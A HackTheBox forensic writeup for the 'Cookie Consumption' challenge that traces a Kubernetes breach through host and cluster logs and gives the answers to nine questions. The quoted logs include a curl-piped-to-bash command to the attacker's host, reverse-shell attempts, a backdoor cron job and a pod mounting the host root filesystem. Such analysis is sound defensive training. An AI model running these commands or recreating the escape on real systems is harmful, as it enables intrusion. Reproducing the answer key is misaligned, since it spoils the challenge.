



HACKTHEBOX

Cookie Consumption Writeup



25th December 2024

Prepared by: VivisGhost

Machine Author(s): felamos

Difficulty: **Easy**

Scenario

Santa's North Pole Operations have implemented the "Cookie Consumption Scheduler" (CCS), a crucial service running on a Kubernetes cluster. This service ensures Santa's cookie and milk intake is balanced during his worldwide deliveries, optimizing his energy levels and health.

Description

In this scenario, players investigate a Kubernetes breach by analyzing artifacts to track the attacker's actions, focusing on tasks such as investigating compromised namespaces and detecting malicious behavior.

Artifacts Provided

- Cookie_Consumption.zip -
87728bbc7ede12b5511855c96f2d37d70f18f928fe536bfca02fae5593ef362d

```
[vivisghost@HackTheBox]--[~/Cookie_Consumption]
$sha256sum Cookie_Consumption.zip
87728bbc7ede12b5511855c96f2d37d70f18f928fe536bfca02fae5593ef362d  Cookie_Consumption.zip
```

Skills Learned

- Log Analysis
- Kubernetes Configuration

Tags

- Kubernetes

- Flask

Initial Analysis

To begin the analysis, the password-protected ZIP file was unlocked using the password `hacktheblue` .

The evidence provided can be categorized into two main groups: host-based artifacts and Kubernetes artifacts.

```
[vivi8ghost@HackTheBox]-[~/Cookie_Consumption]
$ls -la
total 3844
drwxr-xr-x 1 vivi8ghost vivi8ghost    474 Dec  9 12:05 .
drwxr-xr-x 1 vivi8ghost vivi8ghost   1634 Dec  9 12:04 ..
-rw-r--r-- 1 vivi8ghost vivi8ghost    250 Nov  9 10:16 all_users.txt
-rw-r--r-- 1 vivi8ghost vivi8ghost    437 Nov  9 04:48 cluster-info.log
-rw-r--r-- 1 vivi8ghost vivi8ghost   13196 Nov  9 04:49 configmaps.yaml
-rw-r--r-- 1 vivi8ghost vivi8ghost 3446731 Dec  9 08:27 Cookie_Consumption.zip
-rw-r--r-- 1 vivi8ghost vivi8ghost    923 Nov  9 09:09 cron.txt
drwxr-xr-x 1 vivi8ghost vivi8ghost    204 Nov  9 14:04 default
drwxr-xr-x 1 vivi8ghost vivi8ghost    170 Nov  9 09:09 host_logs
-rw-r--r-- 1 vivi8ghost vivi8ghost  25373 Nov  9 04:49 host-processes.log
drwxr-xr-x 1 vivi8ghost vivi8ghost     18 Nov  9 04:48 kube-node-lease
drwxr-xr-x 1 vivi8ghost vivi8ghost     18 Nov  9 04:49 kube-public
drwxr-xr-x 1 vivi8ghost vivi8ghost    416 Nov  9 04:49 kube-system
-rw-r--r-- 1 vivi8ghost vivi8ghost    155 Nov  9 04:48 namespaces.log
-rw-r--r-- 1 vivi8ghost vivi8ghost    306 Nov  9 04:48 nodes-info.log
-rw-r--r-- 1 vivi8ghost vivi8ghost   1861 Nov  9 04:49 open-ports.log
-rw-r--r-- 1 vivi8ghost vivi8ghost   7212 Nov  9 04:49 rolebindings.yaml
-rw-r--r-- 1 vivi8ghost vivi8ghost   4277 Nov  9 04:49 roles.yaml
-rw-r--r-- 1 vivi8ghost vivi8ghost 399329 Nov  9 04:49 secrets.yaml
drwxr-xr-x 1 vivi8ghost vivi8ghost     98 Nov  9 04:49 system_logs
```

Let's first start by looking at some of the host artifacts. `all_users.txt` is a list of all user accounts on the system. This file reveals a suspicious username `evil` .

```
[vivisghost@HackTheBox]--[~/Cookie_Consumption]
$tail all_users.txt

syslog
uuid
tcpdump
tss
landscape
fwupd-refresh
usbmux
lxd
dnsmasq
evil
```

The `systemd-journal` is a detailed record of system events, service activity and and configuration changes. Below we can see the creation of the `evil` user account and this account being added to the `sudo` group.

```
[vivisghost@HackTheBox]--[~/Cookie_Consumption]
$cat system_logs/systemd-journal.log | grep evil
Nov 08 22:41:00 northpole sudo[101215]:      root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/sbin/useradd evil
Nov 08 22:41:00 northpole useradd[101217]: new group: name=evil, GID=1000
Nov 08 22:41:00 northpole useradd[101217]: new user: name=evil, UID=1000, GID=1000, home=/home/evil, shell=/bin/sh, from=/dev/pts/1
Nov 08 22:41:05 northpole sudo[101239]:      root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/sbin/usermod -aG sudo evil
Nov 08 22:41:05 northpole usermod[101241]: add 'evil' to group 'sudo'
Nov 08 22:41:05 northpole usermod[101241]: add 'evil' to shadow group 'sudo'
```

Running `cat host-processes.log` we can see a `curl` command directed to an unknown IP address with its output being piped to `bash`. This behavior is indicative of a remote code execution (RCE) attack.

```
evil      3470  0.4  1.5 1283840 60416 ?        Ssl Nov08   4:14 /metrics-server --cert-dir=/tmp --secure-port=10250 --kubelet-prefe
rred-address-types=InternalIP,ExternalIP,Hostname --kubelet-use-node-status-port --metric-resolution=15s --tls-cipher-suites=TLS_ECDHE
_ECDSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_12
8_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305
root      3566  0.0  0.3 1238656 12764 ?        Sl  Nov08   0:16 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 17c52501b02599
ccc6596bc072f07dab0fd565957648fcd52e85f02f827d29b4 -address /run/containerd/containerd.sock
root      3600  0.0  0.0  1640  1152 ?        Ss  Nov08   0:00 /bin/sh /usr/bin/entry
root      98203 0.0  0.0  2576  888 ?        S   Nov08   0:00 sh -c curl 10.129.231.112:8080 | bash
root      98205 0.0  0.0  4344  3080 ?        S   Nov08   0:00 bash
root      98206 0.0  0.0  2576  896 ?        S   Nov08   0:00 sh -i
root      98465 0.0  0.0  1276  1096 ?        Sl  Nov08   0:02 /tmp/nziBJ
```

Cron is a time-based job scheduler. It allows for the execution of scripts or commands at specified intervals. Our `cron.txt` file reveals a cron job executing `/opt/backdoor.sh` every 5 minutes.

```
[vivisghost@HackTheBox]--[~/Cookie_Consumption]
$cat cron.txt
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
*/5 * * * * /opt/backdoor.sh
```

This is a good start, let's now introduce to the Kubernetes artifacts.

Kubernetes is an open-source container orchestration platform used to deploy, manage and scale containerized applications.

Documentation on the components can be found here. <https://kubernetes.io/docs/concepts/overview/components/>

More Kubernetes artifacts will be discussed below as we answer the questions.

Questions

1. How many replicas are configured for the flask-app deployment?

The `deployments.log` file contains the configurations and statuses of the **Deployments** in the Kubernetes cluster. A **Deployment** ensures the desired number of pod replicas are running and automatically handles updates to the application.

```
[vivi$ cat default/deployments.log
Name: flask-app
Namespace: default
CreationTimestamp: Thu, 07 Nov 2024 17:45:17 +0000
Labels: <none>
Annotations: deployment.kubernetes.io/revision: 1
Selector: app=flask-app
Replicas: 3 desired | 3 updated | 3 total | 3 available | 0 unavailable
StrategyType: RollingUpdate
MinReadySeconds: 0
RollingUpdateStrategy: 25% max unavailable, 25% max surge
Pod Template:
  Labels: app=flask-app
  Containers:
    flask-app:
      Image: flask_app:latest
      Port: 5000/TCP
      Host Port: 0/TCP
      Limits:
        cpu: 500m
        memory: 128Mi
      Requests:
        cpu: 250m
        memory: 64Mi
      Environment: <none>
      Mounts: <none>
      Volumes: <none>
      Node-Selectors: <none>
      Tolerations: <none>
Conditions:
  Type           Status  Reason
  ----           -
  Progressing    True    NewReplicaSetAvailable
  Available      True    MinimumReplicasAvailable
OldReplicaSets: <none>
NewReplicaSet: flask-app-77fbdcfcff (3/3 replicas created)
Events: <none>
```

This information can also be found in the `pods.log` file, which will be discussed more later.

```
[vivisghost@HackTheBox]--[~/Cookie_Consumption]
└─ $cat default/describes/pods.log | grep ' flask-app-77fbdcfcff'
Name:          flask-app-77fbdcfcff-2tqgw
Name:          flask-app-77fbdcfcff-8tbb9
Name:          flask-app-77fbdcfcff-m9rh4
```

Answer: 3

2. What is the NodePort through which the flask-app is exposed?

The `services.log` file describes **Services** configured in the cluster, which define how pods are exposed to other services or external users. Services provide stable networking endpoints for pods and can expose applications via NodePort.

```
[vivisghost@HackTheBox]--[~/Cookie_Consumption]
└─ $cat default/describes/services.log
Name:          flask-app-service
Namespace:     default
Labels:        <none>
Annotations:   <none>
Selector:      app=flask-app
Type:          NodePort
IP Family Policy: SingleStack
IP Families:   IPv4
IP:            10.43.58.30
IPs:           10.43.58.30
Port:          <unset> 5000/TCP
TargetPort:    5000/TCP
NodePort:      <unset> 30000/TCP
Endpoints:     10.42.0.14:5000,10.42.0.16:5000,10.42.0.17:5000
Session Affinity: None
External Traffic Policy: Cluster
Events:        <none>
```

Answer: 30000/TCP

3. What time (UTC) did the attacker first initiate fuzzing on the /system/ endpoint?

When analyzing the flask-app.log in the context of web fuzzing, the HTTP status codes can reveal critical information about an attack. A 404 status code indicates the requested page does not exist. A series of 404 response errors is an indicator of fuzzing.

```
[vivi8ghost@HackTheBox]~[~/Cookie_Consumption]
$ cat default/flask-app-77fbdcfcff-2tqgw/flask-app.log | grep GET | head
[2024-11-08 22:01:37,950] ERROR in app: Exception on /system/status [GET]
10.42.0.1 - - [08/Nov/2024 22:01:37] "GET /system/status?service=ssh HTTP/1.1" 500 -
10.42.0.1 - - [08/Nov/2024 22:02:38] "GET /system/logs?service=system HTTP/1.1" 500 -
10.42.0.1 - - [08/Nov/2024 22:02:48] "GET /system/ls HTTP/1.1" 404 -
10.42.0.1 - - [08/Nov/2024 22:02:56] "GET /system/admin HTTP/1.1" 404 -
10.42.0.1 - - [08/Nov/2024 22:04:47] "GET /system/admin HTTP/1.1" 404 -
10.42.0.1 - - [08/Nov/2024 22:06:29] "GET /system/search HTTP/1.1" 404 -
10.42.0.1 - - [08/Nov/2024 22:06:29] "GET /system/12 HTTP/1.1" 404 -
10.42.0.1 - - [08/Nov/2024 22:06:29] "GET /system/download HTTP/1.1" 404 -
10.42.0.1 - - [08/Nov/2024 22:06:29] "GET /system/ HTTP/1.1" 404 -
```

Answer: 2024-11-08 22:02:48

4. Which endpoint did the attacker discover through fuzzing and subsequently exploit?

A 200 status code indicates a successful request. How we know this endpoint was being exploited will be discussed in the next question.


```
[vivisghost@HackTheBox]--[~/Cookie_Consumption]
$cat default/flask-app-77fbdcfcff-2tqgw/flask-app.log | grep '200 -'
10.42.0.1 - - [08/Nov/2024 22:15:36] "POST /system/execute HTTP/1.1" 200 -
10.42.0.1 - - [08/Nov/2024 22:21:18] "POST /system/execute HTTP/1.1" 200 -
10.42.0.1 - - [08/Nov/2024 22:24:09] "POST /system/execute HTTP/1.1" 200 -
10.42.0.1 - - [08/Nov/2024 22:24:29] "POST /system/execute HTTP/1.1" 200 -
10.42.0.1 - - [08/Nov/2024 22:24:38] "POST /system/execute HTTP/1.1" 200 -
10.42.0.1 - - [08/Nov/2024 22:24:56] "POST /system/execute HTTP/1.1" 200 -
10.42.0.1 - - [08/Nov/2024 22:26:08] "POST /system/execute HTTP/1.1" 200 -
```

Answer: `/system/execute`

5. Which program did the attacker attempt to install to access their HTTP pages?

Continuing to look in the flask logs we can see a couple interesting entries. The red box suggests the threat actor has RCE and ran the `id` command. The next command in the orange box suggests they tried to run Netcat to establish a reverse shell, but the system doesn't have it. Finally, the yellow box suggests they attempted to use the `curl` command, but as seen below the box, the system didn't have that either.

```
uid=0(root) gid=0(root) groups=0(root)
10.42.0.1 - - [08/Nov/2024 22:15:36] "POST /system/execute HTTP/1.1" 200 -
rm: cannot remove '/tmp/f': No such file or directory
sh: 1: nc: not found
10.42.0.1 - - [08/Nov/2024 22:21:18] "POST /system/execute HTTP/1.1" 200 -

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Reading package lists...
Building dependency tree...
Reading state information...
E: Unable to locate package curl
10.42.0.1 - - [08/Nov/2024 22:24:09] "POST /system/execute HTTP/1.1" 200 -
sh: 1: curl: not found
10.42.0.1 - - [08/Nov/2024 22:24:29] "POST /system/execute HTTP/1.1" 200 -
sh: 1: curl: not found
10.42.0.1 - - [08/Nov/2024 22:24:38] "POST /system/execute HTTP/1.1" 200 -
sh: 1: curl: not found
10.42.0.1 - - [08/Nov/2024 22:24:56] "POST /system/execute HTTP/1.1" 200 -

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Hit:1 http://deb.debian.org/debian bookworm InRelease
Hit:2 http://deb.debian.org/debian bookworm-updates InRelease
Hit:3 http://deb.debian.org/debian-security bookworm-security InRelease
Reading package lists...
Building dependency tree...
Reading state information...
All packages are up to date
```

Moving down in the logs we see the threat actor installed curl.

```
Reading package lists...
Building dependency tree...
Reading state information...
The following additional packages will be installed:
  libbrotli1 libcurl4 libldap-2.5-0 libldap-common libnghttp2-14 libpsl5
  librtmp1 libsasl2-2 libsasl2-modules libsasl2-modules-db libssh2-1
  publicsuffix
Suggested packages:
  libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal
  libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql
The following NEW packages will be installed:
  curl libbrotli1 libcurl4 libldap-2.5-0 libldap-common libnghttp2-14 libpsl5
  librtmp1 libsasl2-2 libsasl2-modules libsasl2-modules-db libssh2-1
  publicsuffix
0 upgraded, 13 newly installed, 0 to remove and 0 not upgraded.
Need to get 1836 kB of archives.
After this operation, 4548 kB of additional disk space will be used.
Get:1 http://deb.debian.org/debian bookworm/main amd64 libbrotli1 amd64 1.0.9-2+b6 [275 kB]
Get:2 http://deb.debian.org/debian bookworm/main amd64 libsasl2-modules-db amd64 2.1.28+dfsg-10 [20.3 kB]
Get:3 http://deb.debian.org/debian bookworm/main amd64 libsasl2-2 amd64 2.1.28+dfsg-10 [59.7 kB]
Get:4 http://deb.debian.org/debian bookworm/main amd64 libldap-2.5-0 amd64 2.5.13+dfsg-5 [183 kB]
Get:5 http://deb.debian.org/debian bookworm/main amd64 libnghttp2-14 amd64 1.52.0-1+deb12u1 [72.4 kB]
Get:6 http://deb.debian.org/debian bookworm/main amd64 libpsl5 amd64 0.21.2-1 [58.7 kB]
Get:7 http://deb.debian.org/debian bookworm/main amd64 librtmp1 amd64 2.4+20151223.gitfa8646d.1-2+b2 [60.8 kB]
Get:8 http://deb.debian.org/debian bookworm/main amd64 libssh2-1 amd64 1.10.0-3+b1 [179 kB]
Get:9 http://deb.debian.org/debian bookworm/main amd64 libcurl4 amd64 7.88.1-10+deb12u7 [390 kB]
Get:10 http://deb.debian.org/debian bookworm/main amd64 curl amd64 7.88.1-10+deb12u7 [315 kB]
```

Answer: curl

6. What is the IP address of the attacker?

In the `host-process.log` during the initial analysis we saw a sketchy command of someone downloading something with `curl` then piping it to `bash` to run it. Given the presence of `Netcat` in the previous question we were able to surmise that threat actor was establishing a reverse shell and connecting back to their IP.

Answer: 10.129.231.112

7. What is the name of the pod that was compromised and used by the attacker as the initial foothold?

In `default/process` we can find the process dump. Using `grep` to filter for commands (line after process id) we see the `curl` command again.

```
[vivi@ghost@HackTheBox]~[/Cookie_Consumption/default]
$strings processes/default_flask-app-77bdcfcff-2tqgw_flask-app_process_dump.txt | grep 'Process ID' -A 2
Process ID: 1
/usr/local/bin/python3.9
/usr/local/bin/flask
--
Process ID: 27280
curl 10.129.231.112:8080 | bash
Name: sh
--
```

Answer: `flask-app-77bdcfcff-2tqgw`

8. What is the name of the malicious pod created by the attacker?

The `Pods.log` file provides details about the **Pods** running in the cluster, including their names, statuses and associated configurations.

```

[vivisghost@HackTheBox]~[/Cookie_Consumption]
$ cat default/describes/pods.log
Name:      alpine
Namespace: default
Priority:   0
Service Account: default
Node:      northpole/10.129.229.38
Start Time:   Fri, 08 Nov 2024 22:39:47 +0000
Labels:      <none>
Annotations: <none>
Status:      Running
IP:          10.129.229.38
IPs:
  IP: 10.129.229.38
  IP: dead:beef::250:56ff:feb4:5a90
Containers:
  evil:
    Container ID:  docker://f819d84f97e69fc0784c521760594cf1692c39bdc5fbd429f86aed07928a511c
    Image:         alpine:latest
    Image ID:      docker-pullable://alpine@sha256:beefdbd8a1da6d2915566fde36db9db0b524eb737fc57cd1367effd16dc0d06d
    Port:         <none>
    Host Port:    <none>
    Command:
      /bin/sh
    Args:
      -c
      sleep 300000
    State:        Running
      Started:     Fri, 08 Nov 2024 22:39:51 +0000
    Ready:        True
    Restart Count: 0
    Environment:  <none>
    Mounts:
      /mnt from hostfs (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-n9bp9 (ro)

```

An important aspect to notice

- The container has `/mnt` mounted. (Red Box)
- The host directory being mounted is **the root directory (/)**. (Orange Box)

```
Containers:
  evil:
    Container ID:   docker://f819d84f97e69fc0784c521760594cf1692c39bdc5fbd429f86aed07928a511c
    Image:          alpine:latest
    Image ID:       docker-pullable://alpine@sha256:befdbd8a1da6d2915566fde36db9db0b524eb737fc57cd1367effd16dc0d06d
    Port:           <none>
    Host Port:      <none>
    Command:
      /bin/sh
    Args:
      -c
      sleep 300000
    State:          Running
      Started:      Fri, 08 Nov 2024 22:39:51 +0000
    Ready:          True
    Restart Count:  0
    Environment:    <none>
    Mounts:
      /mnt from hostfs (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-n9bp9 (ro)
Conditions:
  Type                                Status
  PodReadyToStartContainers           True
  Initialized                         True
  Ready                              True
  ContainersReady                     True
  PodScheduled                        True
Volumes:
  hostfs:
    Type:          HostPath (bare host directory volume)
    Path:          /
    HostPathType:
```

Since the container can access `/mnt` (which maps to `/` on the host filesystem) with read-write permissions, it has the ability to:

- Access and modify **host files**.
- Manipulate critical directories (e.g., `/etc` , `/var/log` , `/root`).
- Replace binaries, add malicious scripts, or escalate privileges.

Answer: `evil`

9. What is the absolute path of the backdoor file left behind by the attacker?

This was found looking into `cron.txt` during the initial analysis. To gain a better idea of timing we can examine `systemd-journal.log` . This log shows the location of the file and when the CRON first runs.

```
[vivisghost@HackTheBox]--[~/Cookie_Consumption]
$cat system_logs/systemd-journal.log | grep backdoor
Nov 08 22:45:01 northpole CRON[102138]: (root) CMD (/opt/backdoor.sh)
Nov 08 22:50:01 northpole CRON[103315]: (root) CMD (/opt/backdoor.sh)
Nov 08 22:55:01 northpole CRON[105051]: (root) CMD (/opt/backdoor.sh)
```

Answer: /opt/backdoor.sh